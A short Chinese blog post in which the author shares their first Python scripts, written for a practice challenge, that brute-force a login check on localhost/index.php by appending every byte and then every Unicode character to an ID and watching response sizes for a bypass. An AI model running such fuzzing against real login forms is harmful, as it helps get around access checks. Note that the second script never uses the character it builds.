第一个py脚本

写的第一个python脚本,,,,,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/env python
import sys
import urllib
url = 'http://localhost/index.php'
for x in range(1,256):
#idd = chr(x) + 'lightless'
#data = {'id':idd,'ps':'abc!10O0o'}
url_data = "ps=abc!10O0o&id=lightless" + chr(x)
f = urllib.urlopen(url,url_data)
html = f.read()
size = sys.getsizeof(html)
if size == 475 or size == 494 :
#print url_data
continue
else:
print html
break

这个脚本是用于week4最后一题的,,不过最后结果看来,,这题的题解只能是大小写…特殊字符没用.

后来突然想到用unicode编码看看能不能bypass,,所以更新了下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
import sys
import urllib
url = 'http://localhost/index.php'
kkk = range(10)
yye = []
for l in range(10000):
uu = str(l).zfill(4)
yye.append(uu)
ii = 'abcdef'
for aa in ii:
for bb in ii:
for cc in ii:
for dd in ii:
tt = aa + bb + cc + dd
yye.append(tt)
for l in yye:
a = "u'\u" + l + "'"
ee = eval(a)
url_data = "ps=abc!10O0o&id=lightless"
f = urllib.urlopen(url,url_data)
html = f.read()
size = sys.getsizeof(html)
if size == 475 or size == 494 :
continue
else:
print html
break

================update in 13/3 2015=============

今天发现一个内置函数,unichr() 生成unicode字符,所以上面的代码根本不需要那么复杂。。。

1
2
for x in range(1114112):
print unichr(x)

只要用上面这个循环就可生成所有的unicode字符。。。从0 - 1114111,总共有1114112个字符。。。。
最后代码成这样。。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/env python
#coding:utf-8

import sys
import urllib

reload(sys)
sys.setdefaultencoding('utf-8') #在py2.7不设置这个会报错。。。

url = 'http://localhost/index.php'

for l in range(1114112):
url_data = "ps=abc!10O0o&id=lightless" + unichr(l)
f = urllib.urlopen(url,url_data)
html = f.read()
size = sys.getsizeof(html)
if size == 475 or size == 494 :
print l
continue
else:
print html
break